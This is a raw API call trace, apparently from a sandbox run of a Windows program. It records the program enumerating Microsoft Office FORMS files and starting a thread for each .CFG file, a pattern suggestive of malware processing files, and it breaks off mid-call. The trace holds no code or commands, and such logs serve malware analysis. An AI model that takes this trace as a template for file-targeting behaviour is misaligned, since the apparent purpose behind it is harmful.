[0152.322] wcscmp (_String1="SCHDRESP.CFG", _String2="..") returned 1 [0152.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202a4ec0 [0152.323] wcscpy (in: _Dest=0x202a4ec0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0152.323] wcscat (in: _Dest=0x202a4ec0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0152.323] wcscat (in: _Dest=0x202a4ec0, _Source="SCHDRESP.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDRESP.CFG" [0152.323] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2144 [0152.324] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f96d700, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f96d700, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHDREST.CFG", cAlternateFileName="")) returned 1 [0152.324] wcscmp (_String1="SCHDREST.CFG", _String2=".") returned 1 [0152.324] wcscmp (_String1="SCHDREST.CFG", _String2="..") returned 1 [0152.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202a5b20 [0152.324] wcscpy (in: _Dest=0x202a5b20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0152.324] wcscat (in: _Dest=0x202a5b20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0152.324] wcscat (in: _Dest=0x202a5b20, _Source="SCHDREST.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCHDREST.CFG" [0152.324] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2140 [0152.325] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ca1800, ftCreationTime.dwHighDateTime=0x1c2b07e, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84ca1800, ftLastWriteTime.dwHighDateTime=0x1c2b07e, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECREC.CFG", cAlternateFileName="")) returned 1 [0152.325] wcscmp (_String1="SECREC.CFG", _String2=".") returned 1 [0152.325] wcscmp (_String1="SECREC.CFG", _String2="..") returned 1 [0152.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4e30 [0152.325] wcscpy (in: _Dest=0x202a4e30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0152.325] wcscat (in: _Dest=0x202a4e30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0152.325] wcscat (in: _Dest=0x202a4e30, _Source="SECREC.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECREC.CFG" [0152.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4e30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2118 [0152.326] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECRECL.ICO", cAlternateFileName="")) returned 1 [0152.326] wcscmp (_String1="SECRECL.ICO", _String2=".") returned 1 [0152.326] wcscmp (_String1="SECRECL.ICO", _String2="..") returned 1 [0152.326] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECRECS.ICO", cAlternateFileName="")) returned 1 [0152.326] wcscmp (_String1="SECRECS.ICO", _String2=".") returned 1 [0152.326] wcscmp (_String1="SECRECS.ICO", _String2="..") returned 1 [0152.326] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x287, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURE.CFG", cAlternateFileName="")) returned 1 [0152.327] wcscmp (_String1="SECURE.CFG", _String2=".") returned 1 [0152.327] wcscmp (_String1="SECURE.CFG", _String2="..") returned 1 [0152.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a5610 [0152.327] wcscpy (in: _Dest=0x202a5610, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0152.327] wcscat (in: _Dest=0x202a5610, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0152.327] wcscat (in: _Dest=0x202a5610, _Source="SECURE.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURE.CFG" [0152.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2114 [0152.328] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURL.ICO", cAlternateFileName="")) returned 1 [0152.328] wcscmp (_String1="SECURL.ICO", _String2=".") returned 1 [0152.328] wcscmp (_String1="SECURL.ICO", _String2="..") returned 1 [0152.328] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SECURS.ICO", cAlternateFileName="")) returned 1 [0152.328] wcscmp (_String1="SECURS.ICO", _String2=".") returned 1 [0152.328] wcscmp (_String1="SECURS.ICO", _String2="..") returned 1 [0152.328] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b799300, ftCreationTime.dwHighDateTime=0x1c61668, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b799300, ftLastWriteTime.dwHighDateTime=0x1c61668, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHARING.CFG", cAlternateFileName="")) returned 1 [0152.328] wcscmp (_String1="SHARING.CFG", _String2=".") returned 1 [0152.328] wcscmp (_String1="SHARING.CFG", _String2="..") returned 1 [0152.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a5340 [0152.329] wcscpy (in: _Dest=0x202a5340, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0152.329] wcscat (in: _Dest=0x202a5340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0152.329] wcscat (in: _Dest=0x202a5340, _Source="SHARING.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" [0152.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2110 [0152.330] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGN.CFG", cAlternateFileName="")) returned 1 [0152.330] wcscmp (_String1="SIGN.CFG", _String2=".") returned 1 [0152.330] wcscmp (_String1="SIGN.CFG", _String2="..") returned 1 [0152.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202a5a00 [0152.330] wcscpy (in: _Dest=0x202a5a00, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0152.330] wcscat (in: _Dest=0x202a5a00, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0152.330] wcscat (in: _Dest=0x202a5a00, _Source="SIGN.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" [0152.330] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5a00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210c [0152.331] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNL.ICO", cAlternateFileName="")) returned 1 [0152.331] wcscmp (_String1="SIGNL.ICO", _String2=".") returned 1 [0152.331] wcscmp (_String1="SIGNL.ICO", _String2="..") returned 1 [0152.331] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNS.ICO", cAlternateFileName="")) returned 1 [0152.331] wcscmp (_String1="SIGNS.ICO", _String2=".") returned 1 [0152.331] wcscmp (_String1="SIGNS.ICO", _String2="..") returned 1 [0152.331] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIMEE.CFG", cAlternateFileName="")) returned 1 [0152.332] wcscmp (_String1="SMIMEE.CFG", _String2=".") returned 1 [0152.332] wcscmp (_String1="SMIMEE.CFG", _String2="..") returned 1 [0152.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4140 [0152.332] wcscpy (in: _Dest=0x202a4140, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0152.332] wcscat (in: _Dest=0x202a4140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0152.332] wcscat (in: _Dest=0x202a4140, _Source="SMIMEE.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" [0152.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20f8 [0152.333] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIMES.CFG", cAlternateFileName="")) returned 1 [0152.333] wcscmp (_String1="SMIMES.CFG", _String2=".") returned 1 [0152.333] wcscmp (_String1="SMIMES.CFG", _String2="..") returned 1 [0152.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a4f50 [0152.333] wcscpy (in: _Dest=0x202a4f50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0152.333] wcscat (in: _Dest=0x202a4f50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0152.333] wcscat (in: _Dest=0x202a4f50, _Source="SMIMES.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" [0152.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20f4 [0152.335] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff90d00, ftCreationTime.dwHighDateTime=0x1c666e6, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ff90d00, ftLastWriteTime.dwHighDateTime=0x1c666e6, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMSL.ICO", cAlternateFileName="")) returned 1 [0152.335] wcscmp (_String1="SMSL.ICO", _String2=".") returned 1 [0152.335] wcscmp (_String1="SMSL.ICO", _String2="..") returned 1 [0152.335] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac132a00, ftCreationTime.dwHighDateTime=0x1c6859b, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac132a00, ftLastWriteTime.dwHighDateTime=0x1c6859b, nFileSizeHigh=0x0, nFileSizeLow=0x8be, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMSS.ICO", cAlternateFileName="")) returned 1 [0152.335] wcscmp (_String1="SMSS.ICO", _String2=".") returned 1 [0152.335] wcscmp (_String1="SMSS.ICO", _String2="..") returned 1 [0152.335] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASK.CFG", cAlternateFileName="")) returned 1 [0152.335] wcscmp (_String1="TASK.CFG", _String2=".") returned 1 [0152.335] wcscmp (_String1="TASK.CFG", _String2="..") returned 1 [0152.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202a4fe0 [0152.335] wcscpy (in: _Dest=0x202a4fe0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0152.335] wcscat (in: _Dest=0x202a4fe0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0152.335] wcscat (in: _Dest=0x202a4fe0, _Source="TASK.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" [0152.335] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20f0 [0152.336] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACC.CFG", cAlternateFileName="")) returned 1 [0152.336] wcscmp (_String1="TASKACC.CFG", _String2=".") returned 1 [0152.337] wcscmp (_String1="TASKACC.CFG", _String2="..") returned 1 [0152.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a4da0 [0152.337] wcscpy (in: _Dest=0x202a4da0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0152.337] wcscat (in: _Dest=0x202a4da0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0152.337] wcscat (in: _Dest=0x202a4da0, _Source="TASKACC.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" [0152.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4da0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20e8 [0152.338] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACCL.ICO", cAlternateFileName="")) returned 1 [0152.338] wcscmp (_String1="TASKACCL.ICO", _String2=".") returned 1 [0152.338] wcscmp (_String1="TASKACCL.ICO", _String2="..") returned 1 [0152.338] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACCS.ICO", cAlternateFileName="")) returned 1 [0152.338] wcscmp (_String1="TASKACCS.ICO", _String2=".") returned 1 [0152.338] wcscmp (_String1="TASKACCS.ICO", _String2="..") returned 1 [0152.338] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDEC.CFG", cAlternateFileName="")) returned 1 [0152.338] wcscmp (_String1="TASKDEC.CFG", _String2=".") returned 1 [0152.338] wcscmp (_String1="TASKDEC.CFG", _String2="..") returned 1 [0152.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a44a0 [0152.338] wcscpy (in: _Dest=0x202a44a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033" [0152.338] wcscat (in: _Dest=0x202a44a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0152.338] wcscat (in: _Dest=0x202a44a0, _Source="TASKDEC.CFG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" [0152.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a44a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20e4 [0152.339] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDECL.ICO", cAlternateFileName="")) returned 1 [0152.340] wcscmp (_String1="TASKDECL.ICO", _String2=".") returned 1 [0152.340] wcscmp (_String1="TASKDECL.ICO", _String2="..") returned 1 [0152.340] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76c87000, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0x217a650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76c87000, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDECS.ICO", cAlternateFileName="")) returned 1 [0152.340] wcscmp (_String1="TASKDECS.ICO", _String2=".") returned 1 [0152.340] wcscmp (_String1="TASKDECS.ICO", _String2="..") returned 1 [0152.340] FindNextFileW (in: hFindFile=0x1b7ceac0, 